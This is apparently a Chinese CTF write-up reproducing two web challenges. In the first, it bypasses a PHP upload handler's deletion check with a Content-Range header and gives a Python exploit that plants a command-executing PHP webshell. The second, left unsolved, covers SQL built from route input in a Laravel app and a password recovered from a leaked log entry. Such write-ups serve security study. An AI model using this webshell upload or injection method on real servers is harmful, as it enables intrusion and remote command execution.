[BUUOJ]纵横杯1st线下赛复现

upload

常见文件上传都会有$_FILES、move_uploaded_file等关键内容,所以直接全局搜索这类函数寻找调用。

$_FILES(upload.php: 1090行)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
protected function get_upload_data($id) {
    return @$_FILES[$id];
}
// 
if ($uploaded_file && is_uploaded_file($uploaded_file) && $content_range) {
    if ($append_file) {
        file_put_contents(
            $file_path,
            fopen($uploaded_file, 'r'),
            FILE_APPEND
        );
    } else {
        move_uploaded_file($uploaded_file, $file_path);
    }
} else {
    file_put_contents(
        $file_path,
        fopen($this->options['input_stream'], 'r'),
        $append_file ? FILE_APPEND : 0
    );
}

处理上传文件(upload.php: 1024行)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
if ($uploaded_file && is_uploaded_file($uploaded_file) && $content_range) {
    if ($append_file) {
        file_put_contents(
            $file_path,
            fopen($uploaded_file, 'r'),
            FILE_APPEND
        );
    } else {
        move_uploaded_file($uploaded_file, $file_path);
    }
} else {
    file_put_contents(
        $file_path,
        fopen($this->options['input_stream'], 'r'),
        $append_file ? FILE_APPEND : 0
    );
}

除了处理上传的函数,还定义了读文件函数(upload.php: 1066行),可能存在任意文件读取,等需要用到的时候再说(事实证明没用到

很明显,get_upload_data函数就是负责传回上传文件的信息数组,那我们先本地传文件尝试一下,将index.php修改为(其他方法也行)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
	<title>upload</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <!-- name设置为数组格式,通过1288行 is_array($upload['tmp_name']) 的判断 -->
    <input type="file" name="files[]" ><br>
    <input type="submit" name="submit" value="提交">
</form>
<p>
<?php
    require('upload.php');
    $upload_handler = new UploadHandler();
?>
</p>
</body>
</html>

上传过程倒是很顺利,但是files目录为什么没有上传的文件呢?

将目光聚焦于1056行的代码

1
2
3
4
if (!$content_range && $this->options['discard_aborted_uploads']) {
    unlink($file_path);
    $file->error = $this->get_error_message('abort');
}

可以看到这里使用了unlink函数删除上传的文件,如果我们不想它执行的话肯定是要跳过这个条件判断,即让$content_range有值。

那这个变量是什么呢?跳到1281行

1
2
3
$content_range_header = $this->get_server_var('HTTP_CONTENT_RANGE'); // $_SERVER['HTTP_CONTENT_RANGE']
$content_range = $content_range_header ?
    preg_split('/[^0-9]+/', $content_range_header) : null;

$content_range的值来自$_SERVER['HTTP_CONTENT_RANGE']中有数字的内容,那这玩意又是什么呢?可以看Content-RangeHTTP请求范围两篇文章了解(解释不了

简单来说就是在header添加一个Content-Range设置一下请求范围,抓包添加传文件,啪的一下很快啊,文件就成功上传了,而且还是直接传的php哟😎

exp

1
2
3
4
5
6
import requests
import io
target = "http://d33bd228-368f-4581-93d1-9d54451a30bf.node3.buuoj.cn/"
headers = { "Content-Range": "bytes 0-1023/1070" }
files = {"files[]": ("tyskill.php", io.BytesIO(b"<?php echo('PWN!!');system($_GET[cmd]);?>"), "image/png")}
requests.post(url=target, files=files, headers=headers)

easyphp|unsolve

下源码发现是laravel框架,版本号是7.30.0,但是关键的.env文件没有给,且config目录里给的信息也不太全,搭环境的成本太大了,还是硬上吧。

先获取路由信息:

routes/api.php

1
Route::get('check/{id}','CheckController@index')->where('id', '[0-9]+');

routes/web.php

1
2
3
Route::get('/', 'HomeController@index')->name('home');
Route::post('/sendmessage/{postid}','HomeController@sendme')->where('postid', '[0-9]+');
Route::get('/viewed/{id}','HomeController@viewed')->where('id','[0-9]+');

api先不管,web.php三个路由都用到了控制器HomeController,去app/Http/Controllers/HomeController.php看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class HomeController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('auth');
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function index()
    {
        return view('home');
    }
    public function sendme($postid,Request $request)
    {
        $message = $request->input('message');
	    $temp=$request->input('temp') ?? "nop";
	    $insert = DB::table('sendme')->insert([
                [
                    'number' => $postid,
		            'content' => $message,
		            'temp'=>$temp
                ]
            ]);
	    if($insert){
    		echo "<script>alert('send success');</script>";
	    }
    }
    public function viewed($id)
    {
   	$viewsd = DB::select("select * from sendme where number = '$id'");
    	return view('meview',['views'=>$viewsd]);
    }

}

需要经过鉴权,而我们又不知道email和password,所以只能从api.php提供的check路由入手,查看CheckController控制器了解路由功能

1
2
3
4
5
6
7
8
class CheckController extends Controller
{
    public function index($id)
    {
        $users = DB::select("select * from users where id = $id");
        return $users;
    }
}

提供了用户查询功能,那么登陆用到的账号密码就可以从这里获取。

参考https://laravelacademy.org/post/21970访问/api/check/{id}进行爆破,但是laravel限制api请求频率就很难受。。。所以从另一个方面开搞,laravel.log保存操作日志,从中可以找到"userId":1639,成功获得用户信息

1
{"id":1639,"name":"adminzhtt1m","email":"adminzhtt1@aa.com","email_verified_at":null,"password":"$2y$10$RSqYBW6k6gyBpOr6ECDZhOiC026moyKFSvA5OV2DFqUbgZonWi2gG","remember_token":null,"created_at":"2020-12-17 14:55:51","updated_at":"2020-12-17 14:55:51"}

但是password是加密过的,所以拼字典的时候到了,密码是admin888

登陆进去后通过send按钮先发一发,获得token,复制下来另外POST传sendmessage/{postid},否则会因为laravel的安全机制报419错误。不过后面我sendmessage过去报500,本地试了post是正常的,所以错误应该是发生在数据库insert阶段,也不知道是我的问题还是环境的问题,还是等等有没有师傅做出来吧。。。